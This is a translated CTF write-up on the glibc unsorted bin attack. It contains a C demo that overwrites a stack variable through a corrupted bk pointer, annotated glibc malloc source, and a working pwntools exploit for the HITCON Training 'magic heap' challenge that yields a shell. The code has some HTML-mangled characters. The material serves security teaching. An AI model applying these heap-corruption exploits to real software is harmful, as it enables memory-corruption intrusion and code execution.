ctf-pwn-heap –unsorted bin attack

1. HITCON Training lab14 magic heap

Reference link 1: Original title link

Reference link 2: Tutorial link

0. Operating environment

ubuntu16.04

The glibc version is below 2.3, 2.23, 2.24, 2.27… are all glibc versions less than 2.3

1. Personally translated code (translated from reference link 2)

//Original file name: xy369
//Compilation instructions: gcc -g -o xy369 xy369.c
#include <stdio.h>
#include <stdlib.h>

int main(){
fprintf(stderr,"This code demonstrates how to use unsorted bin attack"
"Write a large unsigned long integer value to the stack\\
");
fprintf(stderr,"in practice,"
"unsorted bin attack is generally to prepare for further attacks,"
"Such as rewriting the global variable global_max_fast in libc,"
"For further fastbin attack\\
\\
");
\t\t\t
unsigned long target_var = 0;
\t
fprintf(stderr,"Let's take a first look at the target we want to rewrite"
The stack address and storage value of ":\\
");
fprintf(stderr,"%p(stack address of variable) = %ld(initial value of variable)\\
\\
"
, & amp; target_var, target_var);
\t
unsigned long *p = malloc(400);
\t
fprintf(stderr,"Now, we have applied for a common chunk on the heap,"
"Its address is: %p\\
",p);
fprintf(stderr,"At the same time, we apply for another chunk to avoid the first application"
"chunk is merged with Top chunk after free()\\
\\
");
\t
malloc(500);
\t
free(p);
\t
fprintf(stderr,"Now, we free the first applied chunk"
"It will be recycled into unsorted bin"
"At the same time its bk pointer points to: %p\\
",(void *)p[1]);
/*------------VULNERABILITY-----------*/

p[1] = (unsigned long)( & target_var - 2);
fprintf(stderr, "Now reproduce a can "
            "Rewrite victim->bk pointer vulnerability\\
");
fprintf(stderr, "and we rewrite it to target address - 16 "
            "(On 32-bit machines,"
            " should rewrite it to Target Address - 8):%p\\
\\
",(void *)p[1]);

  //------------------------------------
  
malloc(400);
  
fprintf(stderr,"Let's use malloc() to get the chunk we just free()ed."
"At that time, our target should have been rewritten\\
");
fprintf(stderr,"%p(stack address of variable) = %p(value after variable is rewritten)\\
\\
"
, &target_var,(void *)target_var);

}

2. Running results

3. Delete part of the code of the printing function

//Original file name: xy666
//Compilation instructions: gcc -g -o xy666 xy666.c
#include <stdio.h>
#include <stdlib.h>

int main(){

unsigned long target_var = 0;
\t
fprintf(stderr,"%p(stack address of variable) = %ld(initial value of variable)\\
\\
", &target_var,target_var);
\t
unsigned long *p = malloc(400);
\t
malloc(500);
\t
free(p);

    //Write data to p, first write on the fd of p, p[1] refers to the last 8 bytes of p,
    //That is bk, so the following line writes the fake chunk address into the bk field of p
p[1] = (unsigned long)( & target_var - 2);
    // 1 unsigned long is 8 bytes, -2 is 16 bytes of low address,
    //The address of the fake chunk is 16 bytes different from the user_data of the fake chunk
    //So the overall meaning of the above line is to let the bk of p point to the forged chunk,
    //At the same time, the start of the user_data of the forged chunk is the address of our target variable
    // Note: Now let's review the previous "pwn-ctf-heap-debugging" article, which was not written out, so write it here
    //If a chunk has an fd field, then the first 8 bytes of its user_data are the fd field of this chunk,
    // The last 8 bytes of the fd field are the bk field, provided that the chunk has a bk field
    //For a chunk, we can directly overwrite its fd field and bk word by writing data
    //Of course, as long as the input is long enough, we can cover all the contents of the next or next... physical adjacent heap block
  
malloc(400);
  
fprintf(stderr,"%p(stack address of variable) = %p(value of variable after rewriting)\\
\\
", & amp;target_var,(void *)target_var);

}

The above only needs to know that the unsorted bin realizes the transformation of a variable value on the stack into an address in the main_arena structure. This sentence is only for personal understanding, and the understanding obtained from reference link 2.

4. Debugging,

5. I am too lazy to draw pictures by myself, just copy the pictures in the reference link ↓

Initial state: both fd and bk of the unsorted bin point to the unsorted bin itself.

free(p): Since the freed chunk size does not belong to the fast bin range, it will be put into the unsorted bin first.

p[1] = (unsigned long)( & amp;target_var – 2): Modify the bk of p to point to the first 16 bytes of the target variable, so that the target variable is located in the fd field of the forged chunk

malloc(400): At this time, the applied chunk is in the range of the small bin, and there is no chunk in the corresponding bin temporarily, so it will search in the unsorted bin and find that the unsorted bin is not empty, so the last one in the unsorted bin The chunk is taken out.

//The source code is also copied from the reference link
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);

            /*
               If a small request, try to use last remainder if it is the
               only chunk in unsorted bin. This helps promote locality for
               runs of consecutive small requests. This is the only
               exception to best-fit, and applies only when there is
               no exact fit for a small chunk.
             */
            /* Obviously, bck has been modified and does not meet the requirements here */
            if (in_smallbin_range(nb) & amp; & amp; bck == unsorted_chunks(av) & amp; & amp;
                victim == av->last_remainder & amp; & amp;
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                ....
            }

            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd = unsorted_chunks(av);

①: victim = unsorted_chunks(av)->bk: This code means to assign the chunk pointed to by the bk pointer of the usorted bin to the victim, so the victim refers to chunk p here.

②: bck = victim->bk: This code means to assign the chunk pointed by the victim’s bk pointer to bck, so bck here represents a fake chunk.

③: unsorted_chunks(av)->bk = bck: This sentence means to assign the bk pointer of the usorted bin to bck, that is, let the bk of the usorted bin point to the forged chunk.

④: bck->fd = unsorted_chunks(av): This sentence means to point the fd of the fake chunk to the usorted bin

After reading the above ①-④, now let’s look at the transition from the third unsorted bin to the fourth unsorted bin. Do you know how the large data value written into the target variable comes from? (①-④Every step is obtained from the normal operation of the code in glibc)

6. Summary:

Write a large number from an arbitrary address:

①: Modify the global variable that controls the size of the fast bin, so that we can apply for a large fast bin chunk

②: Modify the number of cycles, multiple cycles

③: Enter some branches that will not be entered by the normal operation of the program

Leak the main_arena internal address:

①: Calculate libc address by offset

To sum up these points for now.

2. HITCON Training lab14 magic heap

1. Topic link: Topic link

2. Reference link: Reference link

3. Code analysis:

create_heap(): Create a heap, enter the size and content, up to 10 heaps can be created

edit_heap(): Edit the heap, enter the serial number of the heap to be edited, enter the Size, and enter the content (the input Size is a bit abstract)

delete_heap(): Enter the number of the heap to be deleted, and execute the free operation

When 4869 is input in the main function, judge the value of magic. If it is greater than 4869, you can execute the l33t() function to obtain the shell

4. Problem-solving ideas

Use the unsorted bin attack to write a large number arbitrarily, and change the value of the global variable magic to a value greater than 4869

5. Problem-solving steps:

①: Find the address of magic in ida

②: When writing exp, I changed the author’s exp a little bit. I’m lazy and don’t want to write it myself (the exp in the title link is not the exp in the reference link)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

host = "training.pwnable.tw"
port = 11014

# r = remote(host,port)
r = process("./magicheap")


def create_heap(size, content):
    r.recvuntil(":")
    r. sendline("1")
    r.recvuntil(":")
    r. sendline(str(size))
    r.recvuntil(":")
    r. sendline(content)

def edit_heap(idx, size, content):
    r.recvuntil(":")
    r. sendline("2")
    r.recvuntil(":")
    r. sendline(str(idx))
    r.recvuntil(":")
    r. sendline(str(size))
    r.recvuntil(":")
    r. sendline(content)

def del_heap(idx):
    r.recvuntil(":")
    r. sendline("3")
    r.recvuntil(":")
    r. sendline(str(idx))

create_heap(0x80,"dada") # 0
create_heap(0x20,"dada") # 1
create_heap(0x80,"dada") # 2
create_heap(0x20,"dada") # 3

del_heap(2)
del_heap(0)
#magic = 0x6020c0
magic = 0x6020a0
fd = 0
bk = magic - 0x10

edit_heap(1,0x20 + 0x20,b"a"*0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
create_heap(0x80,"dada") #trigger unsorted bin attack
r.recvuntil(":")
r. sendline("4869")
r. interactive()

③: getshell

3. Practice questions

Currently looking for a topic to practice using __malloc_trim () and __malloc_hook () to leak the address of main_arena to calculate the offset relative to libc to bypass ASLR protection

And modify global_max_fast so that all free chunks can enter the fast bin and then use the fast bin attack getshell.